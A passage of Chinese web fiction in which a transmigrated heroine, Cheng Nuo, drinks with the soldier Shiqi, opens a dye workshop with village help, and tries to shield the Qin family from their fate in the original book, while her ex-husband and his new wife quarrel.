十七仰头喝了一口酒,喉结随着吞咽的动作上下滚动,月光为他棱角分明的侧脸镀上一层银辉,显得格外孤寂。 “你常这样一个人喝酒?”程诺忍不住问。 十七摇头:“偶尔。”他顿了顿,“睡不着的时候。” 第一百九十七章 酒后失控 程诺注意到他说这话时眉头微蹙,眼中闪过一丝她读不懂的情绪。 她忽然想起鹿山上,男人曾跟他说过,他十七岁从军,二十岁便立下战功,如今不过二十五岁,却流落乡野,浑身是伤,想来有段不为人知的过往。 “在想什么?”男人的声音打断了她的思绪。 程诺回过神,发现他正看着自己,那双黑眸在月光下格外深邃。 她莫名有些心慌,低头整理了一下衣摆:“没什么,只是在想……你出门这么久家里人会不会担心。” “我母亲……在我七岁那年病逝了。”十七突然开口,声音轻得几乎被夜风吹散。 程诺屏住呼吸,不敢打断。 “父亲很快续弦,新夫人第二年生下一子。”男人扯了扯嘴角,露出一个苦涩的笑,“那孩子聪明伶俐,很得父亲欢心。而我……只是个多余的人。” 程诺的心揪了起来。 她看见十七的手指无意识地摩挲着酒囊上的纹路,骨节发白。 “十五岁那年冬天,继母诬陷我偷了她的玉镯,父亲不问缘由,用马鞭抽了我二十下。” 他的声音平静得可怕,“那晚我发着高热,听见他们在隔壁为弟弟庆生,第二天一早,我就离开了那个家。” 程诺的眼眶湿润了,她想象着一个十五岁的少年,带着满身伤痕独自离家的场景。 夜风吹来,竟带来一丝凉意,她不由自主地打了个寒颤。 “冷?”十七侧头看她。 程诺摇头,却控制不住又一个哆嗦。 十七叹了口气,解下自己的外袍披在她肩上。 带着他体温和淡淡酒香的外袍让程诺心跳加速,她低头小声道谢。 “后来呢?”她轻声问。 “后来?”十七仰头看着月亮,“走了三天,差点饿死在路上。被一队路过的士兵救了,就跟着他们从了军,他们问我的名字,我不愿跟过往产生关系,给自己取了个名字,叫十七。” 他说得轻描淡写,但程诺知道,一个毫无背景的少年在军中立足有多艰难。 她想起自己第一次见到男人时的场景,浑身是伤,只差最后一口气吊着,若不是她们上山,保不齐男人能不能见到第二天的太阳。 程诺没来由的一阵后怕,端起酒壶猛灌了两口,平复胸口陡然的慌乱。 程诺轻声道,“从军十年,这是我第一次对人说起这些。” 程诺心头一颤,她不知该如何回应,只能轻轻“嗯”了一声,又往嘴里倒了两口酒,往日的伶牙俐齿此刻全不见了,她觉得自己仿若被锯了嘴的葫芦。 夜风拂过,在这个小小的角落里,仿佛只有他们两个人,和头顶那轮明月。 “所以,你以后想继续当十七吗?你会继续留在程家吗?”程诺感觉脸颊开始发烫,连心脏跳动的频率也加快了,谁说高粱酒不醉人,她这不就是醉了,不然怎么会问出这种问题。 “程诺,你想我留下吗?”他唤她的名字,声音低沉温柔。 她不敢与他对视,低头盯着自己的手指。 十七的手忽然覆上她的,温暖干燥的触感让她浑身一颤,脑袋有些眩晕的程诺突然从一片混沌中瞅见一丝清明。 他叫她程诺,而不是程四娘。 好久没人叫过这个名字了。 她几乎要跟程四娘重合,忘记过往了。 “你……”许是酒精麻痹,程诺的舌头开始打结,她从前酒量很好的,没想到程四娘酒量这么差,自以为顺溜的开口,落在别人眼里成了支支吾吾模糊不清的嘟囔,“你怎么知道我的名字……还有,你怎么能牵人家小手呢。” 程诺醉了。 想到什么说什么,完全不过脑子了,胆子也逐渐大起来。 反握住那双指节分明的大掌,似玉竹削成,腕骨微凸处一道淡青血脉隐现,掌心有薄茧,是常年握刀拿剑造成的,还有指腹上的微微凸起,程诺都能想象到箭矢离弦的刹那,五指倏然舒展,宛若白鹤展翼,该是怎样的好看。 程诺有个小癖好,她是个手控,借着酒意,心底的小恶魔突然破土而出,往日正经的模样逐渐被酒蒙子代替,若是面前有面镜子,程诺就会看到她现在的眼神有多变态。 “有句话,我想说很久了……”程诺将脸颊贴在大掌掌心,突如其来的暧昧,让十七眉眼颤了颤。 “你……” 月色皎洁,孤男寡女,暧昧丛生,十七难免会往某个地方想,心中一时不知是惊喜还是惊讶,难道她要借着酒意,向他…… “咳咳……”男人不自觉咳嗽一声掩饰尴尬,却丝毫没有将手掌伸回来的意思,“你有什么想说的,就说吧,我听着。” 程诺眯着眼,脸蛋在掌心蹭了蹭,柔软的触感,女子微红的脸颊,迷离中带着深情的视线,一切水到渠成。 至少十七是这么觉得的,就在他以为对方要说些情话,正心跳加快想着如何应对时。 对方开了口。 “斯哈斯哈~快掐我脖子,不敢想象这双手掐我脖子,会是怎样的惊心动魄。” “点了,不然平台以为我不爱看,以后不给我推荐。” “死之前谈一个,死之前谈一个,死之前谈一个。” 程诺醉了,分不清现实和虚幻,还以为又回到了从前躺在沙发上,流着哈喇子看帅哥漫画手的时候。 按小爱心的指尖点的飞起。 十七:“……” 看着手背上快速敲击的某人手指,不知是心里失落大一些,还是无奈多一些。 第二日,程诺在宿醉中清醒,头疼欲裂。 程母给她端来解酒茶:“没喝过酒的人,昨晚一个人喝了一罐,你不头疼谁头疼。” 程诺委屈地抱住程母的腰,开始撒娇:“娘~” 程母笑着拍她的手背:“好了,把解酒茶喝了,喝了头就不疼了。” 程诺点点头,正准备起身,看到覆在手背上的那双手,突然感觉哪里不对劲,昨晚她好像记得有双骨节分明的大手出现在梦里,任她把玩狭弄…… 她昨晚为什么会喝醉来着。 对了,她跟十七在屋顶喝酒来着。 “娘,十七呢?”程诺问。 程母脸色一喜,一双大脸凑上前,差点贴在程诺脑门上:“解酒茶就是十七煮的,昨晚也是他把你从屋顶抱下来的,你们昨晚聊什么了?” 程诺回忆起来:“聊了些他的从前,问他以后有什么打算。” “他怎么说的?” 程诺一口气喝完解酒茶,看到母亲兴奋的眼睛,无奈道:“娘,你想干嘛?” “娘觉得十七人不错,正好你未婚他未娶,不如……” “不如什么呀!”程诺打算母亲的话,“我离异带孩子,他八成是个头婚,先不说他家人会不会同意,就他本人……” 程诺搅着衣摆,努力回忆昨晚,发现只能记起十七跟他聊起渣爹后娘,之后的事全然不记得了,也不知道这幅身子的酒品好不好。 程母见不得女儿妄自菲薄:“那又怎么样,我女儿是这世上最好的闺女,多少男人排着队求上门,我还不愿意放手呢,我就瞧上十七这小伙子了,娘觉得他好,人长得端正,还会武,又认字……关键是长得好,你两以后的孩子肯定俊俏。” 程诺赶忙打断她的畅想,再这样下去,外孙的名字,程母都快想好了。 “娘,我还有事,先不说了,我得出门一趟。” “别呀,你等娘说完,这是大事,别一天到晚泡在铺子里,银子是永远赚不完的。” 第二百章 扭转秦臻杉夫妇的命运 程诺直接去了落雁阁。 昨日杉叔说,开染房需要大量财力和物力。 财力她没有,但有人有。 落雁阁最近的流水因为千日红十分可观,关长宏正趴在柜台上兴冲冲地拨算盘,越算心里越高兴。 他没想到薄利多销也能给店铺赚这么多银子。 甚至连周边几个城镇的顾客也不辞辛苦,跑到他店里买胭脂,更有往来行走的客商,大批量定购,等着回到老家发一笔财。 “好啊,好啊,金满贯银满筐,盖大房来首富当,”关长宏笑得牙不见眼。 一高兴,不免对其他几个空着的铺子担忧起来。 这两日又有人来询问铺子租售的事,要是实在不知道开什么店,不如租出去赚租金吧。 新来的领班道:“掌柜的,又有客人定做了两百罐千日红,今天一早上不算散客,就定出去五百罐了,程四姑娘真是我们的财神爷。” 提起财神爷,关长宏想起来好长时间没瞧见程诺人了。 “说回去研究新脂粉配方的呢,小爷都等了大半个月了,新品在哪呢?”关长宏将算盘一拨,账本一合,皱起眉头来,“别是忙着自家生意,把小爷的胭脂铺子忘了吧。” 想起何桂香提到,程诺最近常常一个人关在房间里,并没有跟她一道研究水粉,关长宏心中一阵紧张。 程诺可是店里的财神爷,财神爷要是撂挑子不干,他不得哭死。 关长宏一捶掌心:“不行,我得去程家瞧瞧,这女人干嘛呢。” 刚要出门,跟前来的程诺差点撞上。 关长宏小眼睛陡然张开:“财神……不,姑奶奶来啦,你最近干嘛去了,说好的新品呢,带来了吗?我瞧瞧。” 程诺找了张椅子坐下,一旁的店员很快倒了杯茶过来,领班切了水果,连关长宏不离身的折扇,也殷勤地递扇风给程诺纳凉。 见程诺两手空空,关长宏着急道:“小姑奶奶,你不会躲在屋子里个把月,什么也没研究出来吧?” 千日红是好卖,可没有新品推陈出新,落雁阁的热闹撑不了多长时间。 程诺喝了口茶,慢悠悠说出来意。 关长宏猛地咽了口唾沫,难以置信道:“开染坊?你要拉我一起开染坊,我没听错吧?” 关家手里有布庄生意,货都是从固定地方进,多年来赚得差价,原先家里也不是没想过开染坊,直接从源口开始,能省下一大笔钱,想了十几年也没成功,实在是开染坊容易,经营染坊困难。 钱他有,可是天底下有钱的人太多了,重要的是技术和人才啊。 这两样去哪找? “你只管出钱和找场地,其他事不用你操心,怎么样,生意做不做,不做我可找别人了。”程诺眉眼弯弯,像是笃定关长宏不会拒绝她。 果然,关长宏立马道:“做,当然做,只要是你看好的生意,哪怕是你说倒夜香能赚钱,我也会把全镇的恭桶全包揽下来。” “有你这句话,我就放心了。” 接下来的日子,二人分成两个队伍。 关长宏筹建资金,找寻合适开店的场所,首先需要一处占地面积不小的染坊。 瞌睡来了送枕头,城外正好有一间荒废的宅子,因为比较偏僻,加上年久失修,屋主舍不得花费过多银子,逐渐就荒凉了。 关长宏实地观察过,房子虽然有些破旧,远没到住不了人的地步。 只要稍加修缮,当作染房完全不成问题。 考虑到不久后会有染坊的帮工居住问题,关长宏准备将几处重要的屋舍派人修整,不久后再在里面添置了染布料需要用到的各项工具。 程诺这边回来一趟大梨村,将此次回来的主要目的跟村长表明。 大梨村的村长已经换成平安,老村长年纪大了,退居幕后,不是太要紧的大事,一般交给平安全权处理。 听说程诺要带领村里众人开染坊,平安第一个举手同意。 “四娘,还是你有本事,咱们村啥都好,就是没拿得出手的手艺,你瞧瞧周边几个村子,种桑麻的擅织布,临河道的擅捕鱼,村民们都有拿手活儿,只有咱盯着这一亩二分地,一年忙到头,攒不下来几个铜板。 村里如今也淹了,鹿山上新开的荒田,土地且要一两年才能肥沃起来,虽说朝廷减免咱三年赋税,可毕竟要养家糊口,外头活儿难找,大伙儿有没有一技之长,卖体力的活儿干得多吃的也多,平白还要看人家脸色过活,要是你的染坊开起来,得解决多少村民的生计啊!功德一件呢!” 村里其他男女老少也是一样的额想法,他们一拥而上,将程诺包围在中间。 “四娘,先前你家包子铺没用我,这回的染坊说什么都得有我一份。” “还有我,”一个妇人拿出前些日子刚做好的布料,上头经过简单的染色,应该是茜草汁染旧的红,只是红色斑驳不成形,红一块白一块,但至少说明对方有染布的经验,“瞧瞧我这块布,我知道,肯定跟你染得没法比,但我这人最是勤快,只要你教教我,用不了多久,肯定给你染出又鲜艳又漂亮的颜色。” “四娘,我力气大,开染坊少不得搬搬扛扛,我也能帮忙。” “还有我,还有我。” 程诺将报名的村民的姓名,一一记下,等着回去筛选。 她刚从大梨村回来,关长宏那头却遇到了麻烦。 听说屋子租下来要开染坊,房主不知从哪儿得到的风声,程诺做的每个生意都能赚大钱。 立马推翻合同,要另外签一份协议,不仅将房租涨了两倍,甚至要求以低价入股染坊,想分每年的利息。 这话若是放在签合同之前,程诺不会生气,不过是生意谈不拢,上升不到人品问题。 可现在协议已经签了,他却半途撕毁。 商人最看重的“义”字算是被他踩在脚下碾压。 “清河镇这么大地方,我不信找不到一块地开染坊,大不了我把染坊开到大梨村去,那边还不需要收地租。”程诺气得很,怎么会有这么无耻的人,活该他屋子空着这么多年也租不出去。 关长宏一拍手掌,“你别说,这法子,没准真行。” “你也觉得可以?”程诺。 “当然可以,一来大梨村是你老家,你之前不是说雇佣的帮工大多是从村里来的,这样一来小爷还不需要给他们提供住宿;二来,大梨村刚经过水灾,田地都没了,正好空出一大块地方,后山上树木多得是,大伙又都有建房子的经验,连工匠木匠都不用请,直接将工钱发给大伙儿,自家买卖不担心他们浑水摸鱼,岂不是个两全之美的好方法。” 关长宏越想越觉得,染坊建在大梨村,是最好不过的选择。 程诺第二天带着人员名单,回了大李村。 听说染坊要直接落户在村里,平安喜上加喜:“好,我这就把村里擅建房的汉子给你找来。” 程诺特地交代,挑选建房子的人手时,尽量让每家都有壮劳力参加。 当天下午平安召集一帮汉子,风风火火上山伐树去了,因为每家都有人参与,所以那些没选上的,也不会太伤心,依旧跟往常一样干着自己的活儿。 关长宏又定制大批砖瓦、门窗、石材和泥土,为了搭建一个结实耐用的染房,程诺教授众人在泥土中混入了糯米灰浆,增加粘性。 村民们的工作开展得如火如荼,想着是自家的生意,没人偷懒。 大伙儿的午饭由程母供应,程家人早上忙完摊位上的事,立马准备中午的食材,在榴花巷完成后,马不停蹄送往大梨村,刚好能赶上饭点。 用完午饭后,再赶回榴花巷。 没被选上的妇人也常常自发地到染坊附近帮些小忙。 程诺刚好趁此机会将她们聚集在一起,传授些染布的小技巧。 师傅领进门修行在个人,至于每个人能领悟到多少,就得看各自的天赋。 期间,秦臻杉离开了永安县,回京赴任。 离开之前找到程诺,交代了两件事,第一是先前答应承诺的染房的证书,已经托人打好招呼,等染坊落成那日,证书便会送来。 第二,他寄给朝廷的信,用于嘉奖洪水中出力颇多的几户人家,其中就有程家和村长一家,想来不日会有回信。 最后,永乐侯夫人临走前,塞给程诺一个巴掌大小的檀木盒子。 程诺打开一瞧,里面竟明晃晃躺着十张银票,每张银票500两,共计五千两。 “这是?”程诺问。 永乐侯夫人笑道,“先说好,这钱可不是拿来帮你的,你这小丫头是有些鬼机灵在身上,婶婶最近手头上紧,就想着投资点什么东西,这不巧了,瞧上你的染坊,五千两银子是我入股的钱。 你可得好好经营,别给我搞砸了。我还等着每年躺在家里面收银子呢。” 程诺眼眶微红,她岂会不知杉叔杉婶的心意,“三婶放心,要是亏了,我把我赔给你。” “那敢情好,你还是亏本吧,五千两银子换个女儿我还赚了。”永乐侯夫人笑得前仰后合。 突然想到什么,说道:“等这阵子忙完了,去京都玩,我家里有个女儿,跟你差不多大年纪,你的性子她一定喜欢。” 永乐侯府的女儿,那不就是书中原本的女二,秦清欢。 书中说,冯知意被秦家人找回后,跟秦清欢打了三年的擂台,最后是秦清欢技高一筹,更得秦家人喜欢,冯知意接连犯错,被秦家不容,最后赶出府。 也是在这之后遇上了书中男主,未来的太子殿下。 按理说,按照书中的时间线,秦家早该找到冯知意,加上冯知意又有重生金手指在身,只要她愿意,斗倒秦清欢还不是分分钟的事。 现在看来,是冯知意放弃上辈子的人生,主动选择了一条与书中截然不同的道路,甚至放了个生她的父母。 尊重她人命运,程诺并不想掺和冯知意的人生,可秦臻杉夫妇寻女心切,让程诺瞧着不忍心。 “之前听我爹说,你们来大梨村,是为了找多年前失散的女儿。”程诺问。 杉婶点点头:“是,找了许多年,想来那孩子是找不到了。” 程诺的话在喉咙里,想吐露又吐露不出来。 她记得原书后期,冯知意嫁给男主,秦家在朝中原本中立的身份,不得已成了太子一党,更在之后与其他几位皇子的王位争夺中,落得个全家覆灭的下场。 冯知意最后能当上皇后,除了太子对她的感情,很大一部分原因是为了弥补秦家,做给朝堂上那些死心塌地跟随他的朝臣看的。 若这辈子冯知意不回秦家,不嫁给太子,秦家是不是就不用掺和到党争中,能安稳度过一辈子。 太子会放弃秦家这棵大树吗? 没有了冯知意,会不会就轮到秦清欢。 程诺:“或许是天意如此,听您刚才的话,清欢妹妹应该是跟我差不多的性格,不知如今许人家没有?” 杉婶捂嘴笑道:“是跟你一样,连眼光都差不多,不爱武将爱读书郎,那丫头从小野惯了,前些日子女扮男装跑去书院,瞧上了个举人少年,那孩子我跟你杉叔见了,还不错,想着再考察考察,清欢在我们身边养了这么多年,一朝嫁人真有些舍不得……” 女扮男装,举人。 那不就是书中秦清欢嫁的人吗? 书中二人结局如何来着…… 太子一党为增加夺嫡的砝码,派遣秦家上战杀敌,最后尸横遍野,有去无回。 秦清欢听闻噩耗,小产伤了身子,好在之前已诞下一儿一女,丈夫也颇为争气,后来凭借自己在朝廷站稳脚跟,还给她请封诰命。 看似圆满结局,却弥补不了父母兄弟战死的下场,加上跟冯知意这个没有血缘关系的姐妹关系不亲,后期的秦清欢算得上一个亲人也没了。 说不遗憾是不可能的。 要是这辈子秦清欢能早点跟心爱人在一起,冯知意不再嫁入东宫,秦家就不必战队,书中的惨状也就不能重演。 从前杉叔杉婶只是书中人物,于她而言是死是活没什么区别,可现在她们是活生生的人,是跟她相处许久的长辈,程诺做不到明知二人会陷入危险,却置之不理。 程诺道:“能被清欢妹妹瞧上,想来长得不错,又是个有前途的举人,不知家境如何,配不配得上清欢妹妹。” “那孩子祖上有过当官的,只是如今落魄了,勉强算寒门出身,家中只有一年事已高的老母亲,长得的确出类拔萃,不然我那慕少艾的女儿也瞧不上,”杉婶说起这点,不免耳根微红,“这点上来看,清欢不愧是我养大的,跟我的喜好一样。” “俊俏又贫穷,有上进心却没依仗,听着像是会被招赘的白面书生,”程诺捂住嘴,像是想到什么,笑道,“之前镇上书肆有人说书,其中有一则故事,讲的就是一个家境落魄的探花郎,被喜好收集面首的寡居长公主瞧上,也不管人家是否愿意,强行掳回府中,要跟人家成夫妻,最后活生生把探花郎两情相悦的姑娘逼死了……” 程诺边说边打量杉婶脸色,果然在她说到长公主三个字时,脸色陡然变了,整个人像是愣在原地,瞳孔陡然长大,好似被吓到一般。 “杉婶,你怎么了?”程诺问。 杉婶恍然回神,若不是程诺提醒,她差点忘了,京中不就有个跟话本里一模一样的女土匪。 当今陛下的大女儿,如今寡居多年的大公主,府中面首无数,最爱让人搜集长得俊俏的郎君。 陛下对这个女儿睁一只眼,闭一只眼,若是大公主瞧上……她家清欢哪里抢得过,虽说大公主不至于要了清欢的命,可平白被人抢了情郎,清欢哭都得哭死。 杉婶一把握住程诺的胳膊,“好孩子,你提醒婶婶了,清欢年纪不小,我再栓在身边也不像样,大不了我给他们俩买一套离家近的房子,平日里见面也方便……我回去就加快两人进程,最好近日就把婚成了。” 那举子看着是个有学问的,待今年秋闱放榜,没准考中前三榜,到时想泯于众人都不成,势必会被大公主注意到。 不行不行,那是侯府瞧上的女婿,谁来都不行。 当天,永乐侯夫妇商议过后,立马赶回京都。 没一个月传来消息,秦清欢成婚了。 侯府独女嫁了个小举人的消息很快喧嚣尘上,无数举子惋惜这样的好事没落在自己头上。 “同样都是举人,朝哪个方向拜佛可以娶到侯府嫡女啊?” “即便抱不上侯府的大腿,伯府、三品四品官员的女儿也行啊……” “好什么呀,一听就知道那举人是去倒插门的,说得好听娶了侯府独女,实际上不过是侯府的下人,日后都得看女方脸色行事。” “孟兄,你说呢,要是让你选,给侯府倒插门,你干不干?”一青衣书生摇着折扇,问一旁发呆的男人。 男人正是孟南洲。 夏日正暑,炎热异常,书院的学子没有心情温书,聊起八卦倒是积极。 孟南洲听到同窗们的议论,不知为何,心里隐隐有些不舒服。 不知是对方“倒插门”三个字勾起他某些不好的回忆,还是羡慕那位可以娶到侯府独女的举人。 让他选…… 能娶到侯府嫡女,当然是几世修来的福气,傻子才不要。 脑子里刚转过念头,孟南洲猛地从位置上站起来,撞到书案,声音颇大,整室的同窗朝他望过来。 孟南洲自觉尴尬,忙解释:“天气太热,我去厨下弄点绿豆汤喝喝。” “去吧,去吧。”同窗笑着点头。 待孟南洲的身影消失在拐角处,大伙儿才悄然提高议论的声音。 “你们问他作甚,他前些日子连儿子都有了,攀龙附凤的好事是落不到他身上了。” “一直不知道他新娶的是谁家的女儿,儿子出生静悄悄的,也没请咱们去吃酒,别是拿不出手吧。” “你傻呀,孟南洲跟上一个和离还没八个月,儿子就出生了,这孩子什么时候怀上的还用说吗?一请客不就全露馅了。” “我三姑住在榴花巷,听说那女子姓冯,父母双亡,”说到这儿,书生越加兴奋起来,“我还听说,孟南洲的前妻也住进榴花巷了,不仅如此还开了好几家店,生意做得风生水起。” 爱听八卦是每个人的天性,聚过来听八卦的人越来越多:“修罗场啊!前妻新妻聚在一块,孟兄的日子过得真精彩!” “难道孟南洲的前妻是故意的,不然清河镇那么大,为何偏偏住到他隔壁,是不是想着破镜重圆啊,哈哈哈……” “那你想多了,我三姑说了,孟南洲的前妻对他半点意思都没有,前段时间还把孟南洲和他老娘打了,现在赚了钱,好马不吃回头草,更不可能了,只怕有些人后悔的胆都呕出来了。” “哈哈哈……” 嘲讽奚落的笑声在书堂里飘落,悉数落到拐弯回来的孟南洲耳中。 他紧紧捏紧拳头,手指戳入皮肉也察觉不到疼痛。 咬着牙低头,看到的却是破旧的衣摆,洗得发黄的鞋面,他如今的日子过得比从前在程家时,还不如。 家中负担日益增重,娘和妹妹不知何时染上花钱大手大脚的毛病,每月光债务压得他喘不上来气。 原本还有冯知意可以帮他分担压力,自从身子重了后,她也不给人看病了,家里收入骤减,只靠他给书肆抄书赚取些微薄的收益,勉强养家糊口,孟南洲最近照镜子,察觉两鬓有白发了,焉知不是操心过度。 再看程四娘,离开他后,日子越过越好,摆摊不够,还开了门面,如今又跟关长宏共同经营胭脂铺子,听说连染坊的生意也做起来了。 早知如此…… 早知如此,他当初何必和离。 孟南洲背靠在墙柱上,心累地长叹一口气,只能安慰自己,等过了秋闱,一切会好的。 等他考中状元,小小店铺的生意,他还瞧不上。 第二百零一章染坊名声大噪 程诺和关长宏合伙开的染坊,最后名字落定“瑞彩祥”。 瑞气盈门,彩染祥瑞。 一听就是个会带来好运的名字。 染坊开业那天,请了不少人。 除了二人各自的好友,连新上任的知府大人,也看在秦臻杉的面子上前来贺喜。 现在外头都在传,程家的染坊有永乐侯夫人入股,那不就相当于半个秦家产业,即便没有秦家插手,新知府大人也会跑着一趟,原因无它,整个大盛也没多少染坊,他管辖的地界能建成一间,于他而言是天大的好事。 一间染坊每年上缴的税收,给城镇带来的盈利不可小觑,拉动周遭经济生产,于他而言,是大好事一件。 还有一点,他也想瞧瞧,坊间传言的这位敢开染坊的奇女子到底了长什么样,没准日后少不得打交道。 新知府见过人后更确定这趟来对了,程家四姑娘待人接物确实张弛有度,依他从前接触那些富商的经验来看,永安县怕是要出一位女富商了。 一个多月的时间里,程诺加紧对选出的村民训练,此次培训的主要对象,是染布女工,从技术到基础知识,再到每种颜色的扎染,程诺没有藏私。 就是她这份不藏着掖着的样子,更让手下人信服,大伙儿认真学,仔细研究,不负众望地在开业这日做出第一批染布。 布料的颜色染得不多,却选的是扎染工艺中最难的新鲜朱红和纯正紫色。 染坊前的空地上早已围满了闻讯而来的百姓,人群交头接耳,议论纷纷,目光却都忍不住往那高悬的竹架子上瞟。 那里垂落着一匹刚染好的绸缎,尚未完全展开,却在晚风中微微浮动,隐约透出一抹摄人心魄的色泽。 “这就是新染坊拿出来秀肌肉的颜色?”有人低声问。 “嘘……快看!” 话音未落,染坊的伙计已拉动绳索,那匹绸缎倏然垂落,如云霞倾泻,在夕阳余晖下彻底展露真容。 是紫色。 不是寻常市井里偶见的浅淡紫芽色,而是浓郁如夜露凝霜的深紫。 华贵沉静,却又在光影流转间泛着隐隐的朱辉,宛如天边最后一缕霞光被锁进了丝缕之中。 百姓们一时屏息,连喧嚷声都静了下来。 “这……这真是新染坊能染出来的?”有人喃喃道。 紫色,向来是官袍之色,寻常百姓莫说穿戴,连见都少见。 可如今,这匹绸缎就高悬于众人眼前,色泽饱满,毫无杂浊,分明是上乘的染技才能成就的珍品。 人群中渐渐骚动起来,惊叹声此起彼伏。 有人忍不住伸手想触碰,却又敬畏地缩回手指,生怕亵渎了这难得一见的华彩。 染坊门前,程诺一袭素衣,眉眼沉静,只在唇角噙了一丝极淡的笑。 她并未多言,可此刻,所有人都明白了,能染出这般紫色的染坊,岂会是寻常之辈能经营的? “连紫色都能染得这样好,其他颜色自然不在话下……”有人低声道。 “是啊,往后咱们的衣料,怕是都得在这儿买了!” 就在众人仍沉浸在那匹紫绸带来的震撼中时,染坊的伙计们又抬出了一方朱漆木架。 架上整整齐齐叠着一摞新染的布料,上头蒙着一层素纱,隐约透出底下灼烈如火的颜色。 “这又是什么?”有人踮起脚张望。 领头的伙计笑而不答,只是猛地掀开素纱。 大红! 不是寻常市井里常见的暗沉枣红,也不是廉价染料染出的浮艳朱色,而是真正鲜艳夺目的正红,如初升的朝阳,如盛放的牡丹,浓烈得几乎灼人眼目。 那红色纯粹得没有一丝杂色,在暮色中熠熠生辉,仿佛能驱散一切荫翳。 百姓们再度哗然。 “这红色……竟比绸缎庄最好的料子还正!” “瞧那色泽,分明是用了上好的红花染的!” 红花染红,素来是极费功夫的。 需得反复淘洗、去黄,才能得到这样纯净的红色。 寻常染坊根本舍不得下这血本,可眼前这匹红布,却鲜艳得让人移不开眼。 “紫色难得,正红亦是不易。”程诺终于开口,嗓音清冷,却字字清晰,“染坊今日所展,不过十之一二。日后诸位若有需要,尽可前来。” 人群彻底沸腾了。 能染出官家之紫,又能制出如此正红,这染坊的东家,哪里是寻常商贾?分明是深藏不露的高人! 夜风拂过,两匹轻轻摇曳的紫绸和红绸,宛如一道无声的宣告。 染坊的名号,自此刻起,再无人敢小觑。 关长宏看着手中源源不断的订单,脸都要笑烂了。 “我决定了,剩下的铺子全开布庄,小爷要把瑞彩祥的名号打出去,做成天下第一布庄!” “告诉京里布庄,以后进货再也不用看那些王八羔子的脸色,咱自家的染坊就能染出耀眼夺目的颜色。” 染坊的成功,再次证明,跟对人吃饱饭。 关长宏想大摆宴席,宴请程家人吃饭:“走,小爷请客,随我去仙鹤楼庆祝庆祝。” 程母笑着拦下:“去什么仙鹤楼,仙鹤楼的厨子手艺能有我好吗?走,去我家,婶子给你做好吃的。” 关长宏想想也是,仙鹤楼还得从程家进卤肉,听说近日程诺又给楼里提供了几道新小吃,卖得很火,几乎到了每桌必点的地步。 那两道菜,好像是叫油炸小酥肉、红糖糍粑,听说跟铜锅涮肉最搭配。 这不,这两天,关长宏又瞧见仙鹤楼的老板,跑来堵程诺,想让她再教授几道新菜式,价钱不是问题,只要程诺开口,他们一个子儿不还。 关长宏想好了,以后早晚一炷香,不拜别的,就拜他的财神爷长命百岁,思如泉涌。 暮色四合,大梨村无人注意的角落里。 冯知意死死盯着染坊门前熙攘的人群。 那匹高悬的紫绸在晚风中轻轻摇曳,红布如火般灼眼,映得她眼底都泛起了血丝。 “不过是些下贱商贾的把戏,也值得这般追捧?”’她咬着唇,指甲深深掐进掌心。 从前大盛的锦衣华服,那件不是她挑剩下才给别人,什么样子的布料好,什么样子的布料次,她再清楚不过。 就是因为清楚,冯知意心里才更气。 不是说紫色少而尊吗? 为什么程四娘这个贱人,轻轻松松就染出来了? 身后传来婴儿的啼哭声,她猛地回头,见孟南洲正手忙脚乱地抱着哭闹的孩子,顿时气不打一处来:“连个孩子都哄不好,要你有什么用!” 孟南洲皱眉:“是你非要过来,孩子这么小,带出来做什么?火气这么大,吃炮仗了?” “火气大?”冯知意尖声道,“你看看人家染坊日进斗金,再看看咱们家!连给孩子买块好料子做衣裳的钱都没有!难道日后我孩子穿的布料还得从程家买吗?” 她越想越气,越气越觉得委屈:“不把孩子带出来能怎么办,你觉得是你娘能照顾他,还是你那好吃懒做的妹妹会照应他?” “你……”孟南洲脸色难看,“当初是谁说不在乎贫富的?如今倒嫌弃起我来了?” “我不该嫌弃吗?”冯知意声音拔高,“要不是你那个没用的娘偷我银子,背着我全花光了,我至于过这种日子吗?早知如此,我不如……” 她突然噤声,却已经晚了。 孟南洲冷笑:“你终于说出来了。怎么,后悔嫁给我了?可惜啊,你现在孩子生了,想后悔晚了!” “你!”冯知意气得浑身发抖,捡起地上的石头就砸了过去。 与此同时,距离二人几丈开外的巨石后,皇三子宋明修嗤笑一声,目光嫌恶地从争论的孟南洲和冯知意身上移开。 “这就是永乐侯流落在外的女儿?”他喃喃自语,指尖无意识地摩挲着拇指上的玉扳指,“不就是个俗不可耐,又爱慕虚荣的妇人,看男人的眼光差得很。” 身旁的谋士观察主子的神色,应和道:“自是不能跟京中知书达理的贵女相比。” 宋明修叹了口气,惋惜道:“可惜了,秦家本是一步好棋,奈何两个女儿都不长眼,真千金流落荒野,跟人无媒苟合,假千金女扮男装私定终身,秦家的家风有问题啊。” 谋士弯了弯腰,谄媚道:“还好这样的女人没有进咱们王府,依小的所言,永乐侯府不过是因为三朝老臣的身份,才在京中占据一席之地,如今侯爷年事已高,再上战场的几率不大,小的瞧着他几个儿子,远没有父辈的峥嵘,京中比永乐侯府厉害的人家比比皆是,手握兵权的也不止他一家。” “你是说,国公府袁家。”宋明修眸光微动。 谋士谄笑道:“王爷圣明,要我说,袁家就不错,他家小女儿今年刚满十五,正是最好的年华,不比秦家两个二十出头的老千金来得水灵?跟王爷您也更匹配些。” 宋明修站直了背脊,十五岁的养在温室的鲜花自然比二十多的野花香。 袁家手中的兵权不比永乐侯手中的差,若是能拉拢袁家,于他争夺太子之位,助益颇多。 届时娶了袁家的女儿,袁家自然成了他的助力,日后需要皮甲上阵,他在军营也有自己的人。 至于袁家的女儿,是美是丑,于他而言并无干系,大不了好吃好喝养在后宅,她若识相,肯为他的太子之位铺路,他不介意许她荣华富贵。 思及此,宋明修算是彻底放弃秦家,这下连冯知意一眼也懒得看,这样低贱的女子,注定一辈子活在尘埃中,永远不可能跟他扯上关系。 窝窝囊囊回家的孟南洲,脑海中一直浮现程诺的身影。 当初那个被他嫌弃貌丑无颜、粗鄙世俗的程四娘,如今竟将染坊经营得风生水起。 那匹紫绸的成色,便是京城最好的染坊也未必能及。 他仰头饮尽杯中酒,喉间火辣辣的,却压不住心头那股莫名的躁动。 “若是秋闱高中……”孟南洲眼神渐渐炽热,“以状元之身求她回心转意,想必……” 窗外,嫣红的灯笼次第亮起,映得心中那匹红布愈发鲜艳夺目,孟南洲惚间仿佛看见当年那个站在烛光下,等候他归来,小心翼翼笑着,期盼他施舍一个眼神,说一句好话的少女。 只是如今,那笑容再不会对他绽放了,这个认知让他心头一紧,竟生出几分前所未有的悔意来。 自顾寒栀接触奴籍后,程诺立马给程与君找了学堂,虽不是入学的时节,依旧知礼守节拜了夫子。 